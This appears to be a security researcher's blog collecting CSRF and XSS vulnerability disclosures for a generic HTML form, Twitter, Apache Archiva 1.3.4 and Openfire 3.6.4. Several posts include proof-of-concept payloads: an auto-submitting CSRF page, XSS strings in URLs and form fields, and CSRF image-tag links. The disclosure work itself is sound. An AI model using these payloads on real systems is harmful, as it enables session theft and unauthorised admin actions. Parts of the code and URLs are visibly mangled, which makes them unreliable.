Auto submit (onload) a HTML Form with an input field called “submit” – CSRF PoC

This post describes a fairly common scenario I encounter during web application security assessments. Imagine a HTML form with the following code:
[code language=”html” gutter=”false”]
<form id="myForm" action="" method="POST" name="myForm">
<input id="val1" name="val1" type="text" value="value1" />
<input id="val2" name="val2" type="text" value="value2" />
<input id="val3" name="val3" type="text" value="value3" />
<input id="submit" name="submit" type="text" value="Continue" />
This form is vulnerable to CSRF due to the lack of a unique token. When I want to build a PoC for CSRF I normally use the body onload=formname.submit() to demonstrate that the form is indeed vulnerable to CSRF and the attack can be stealthily performed using body onload (no user interaction required, apart from page load). In this case, the presence of an input field whose name and id is “submit” complicates matters. The submit() function of the myForm is completely overwritten by the input field and a call to myForm.submit() would yield a “myForm.submit is not a function” error.To be able to submit data onload of the body or iframe, we would somehow need to submit the myForm without explicitly calling the submit function. The simplest way of doing this would be by converting the input field with name and id “submit” from text / hidden to type “submit”. This will however require a user to click on the button (or use JS to perform the click).

There is a simpler way to achieve what we want here. As Quentin answered my query on stackoverflow, we need to steal the submit function from another form. So my final CSRF PoC, complete with stealth and auto trigger looks like this:

[code language=”html” gutter=”false”]
<body onload="document.createElement(‘form’)‘myForm’))">
<form id="myForm" name="myForm" action="" method="POST">
<input type=hidden name="val1" id="val1" value="value1"/>
<input type=hidden name="val2" id="val2" value="value2"/>
<input type=hidden name="val3" id="val3" value="value3"/>
<input type=hidden name="submit" id="submit" value="Continue"/>
Happy Hacking!

Twitter Wipe Addressbook CSRF Vulnerability

I disclosed a CSRF vulnerability with Twitter, that could allow a malicious attacker to wipe the address book of an unsuspecting user. I reported the vulnerability in the beginning of March and they fixed it on the 22nd! I wouldn’t want to comment on the process and internal business logic that they follow, but honestly that was a a pretty long period for them to come up with a fix.

Anyways, getting to the vulnerability, the issue was that a user could delete his own address book with a single click URL, which is alright as long as the user wishes to do so himself. However, with the server not verifying whether the request was sent by the user himself or was the user was tricked into sending the request, the application allowed an attacker to generate a request on behalf of a logged in user from the user’s browser and perform the action (deletion of the address book).

The normal process would be as follows:
1. A user logs into
2. If he wants to delete ALL his previously imported contacts, he would click on “Remove Contacts” under Settings.
3. Upon clicking, a GET request is sent to “”
4. A message is presented that the the user’s contacts have been removed.

An attacker could take advantage of the absence of any security tokens (CSRF tokens) that would allow the server to authenticate the request and setup a page (and host it on similar to the following:

An attacker could then be made to navigate to (via email or some other means) and his address book would be deleted!

The form that would make the final request has now been protected with a ‘authenticity_token’ which is random and changes on every login and without which the request is not processed on the server. An attacker would need to know this value to attack the application via CSRF.

This was my ticket to the Twitter Hall of Fame for Security researchers at!

Apache Archiva Multiple XSS & CSRF Vulnerabilities

I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4

Project: Apache Archiva
Severity: High
Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
Exploit type: Multiple XSS & CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL:
CVE: CVE-ID-2011-1077, CVE-2011-1026

28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released on Bugtraq & FD

Product Description:
Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!

Vulnerability Details:
XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.

Proof of Concept:
Reflected XSS:‘xss’)>alert(‘xss’)!show.action?roleName=testalert(‘xss’)!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)!confirm.action?proxyid=testalert(‘xss’)

Persistant (Stored) XSS:
Exploit code: testalert(‘xss’) (,, Directory:repository.location, Index Directory:repository.indexDir) (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL), GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type) (, Protocol:proxy.protocol,, Port:proxy.port, Username:proxy.username)


Please update to Archiva 1.3.5, available for download via the vendor’s website.

Multiple XSS and XSRF issues in Openfire 3.6.4

I recently (read: last month) disclosed several security issues with Ignite Realtime’s Openfire v3.6.4. The following links are the original advisory postings and the exploit code:

The following is the condensed disclosure document for the vulnerabilities.:
Title: Multiple XSS and CSRF Vulnerabilities in Openfire 3.6.4 Administrative Section

Project: Openfire
Severity: High
Versions: 3.6.4 (other versions may be affected)
Exploit type: Multiple XSS and CSRF
Fixes Available: None

14 October 2010: Vendor Contacted
15 October 2010: Vendor Response received. Asks to verify the issues in beta.
28 October 2010: Informed Vendor that multiple pages are still vulnerable
03 November 2010: Acknowledgement / Update requested
03 November 2010: Update recevied. No fixes initiated.
23 November 2010: Informed vendor disclosure date set to 1/12/2010
22 December 2010: Update requested.
22 December 2010: Vendor asks to release information as the vulnerabilities are already known
23 December 2010: A different contact at the Vendor location informs that there are no updates.
24 December 2010: Disclosure date set to 5 January 2011
05 January 2011: Disclosed to the Security Community via Bugtraq, Full disclosure and Secunia

Product Description:
Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance.

Affected Files/Locations/Modules:



Vulnerability Details:
User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

Since the vulnerabilities exisit in the administrative module, a sucessful attack could cause a complete compromise of the entire application.

An attacker can also force a user into executing functions that add/delete/modify users and groups without the knowledge of the user.

Proof of Concept:
Persistent XSS:
http://target-url/login.jsp?url=&username=test” onfocus=javascript:window.location.assign(‘’);”>

http://target-url/login.jsp?url=hello” onfocus=javascript:window.location.assign(‘’);”>













Stored XSS:
Method: Navigate to http://target-url/group-create.jsp, and create a new group with the following details.
Group Name: Testalert(“xss”)
Description: Testalert(“xss”)
Click on Create Group, you will be greeted with multiple alert boxes. Click on Group Summary from the left pane or navigate to http://target-url/group-summary.jsp to be greeted again by multiple alert boxes completing the PoC.

For the following links, create html pages with image tags with scr= the following links and ask the user to view these pages. If a user is logged into Openfire’s admin console and the HTML pages are viewed then the respective functions are called:
http://target-url/group-edit.jsp?group=NewGroup&[email protected]&updateMember=Update
http://target-url/group-edit.jsp?group=NewGroup&[email protected]&updateMember=Update>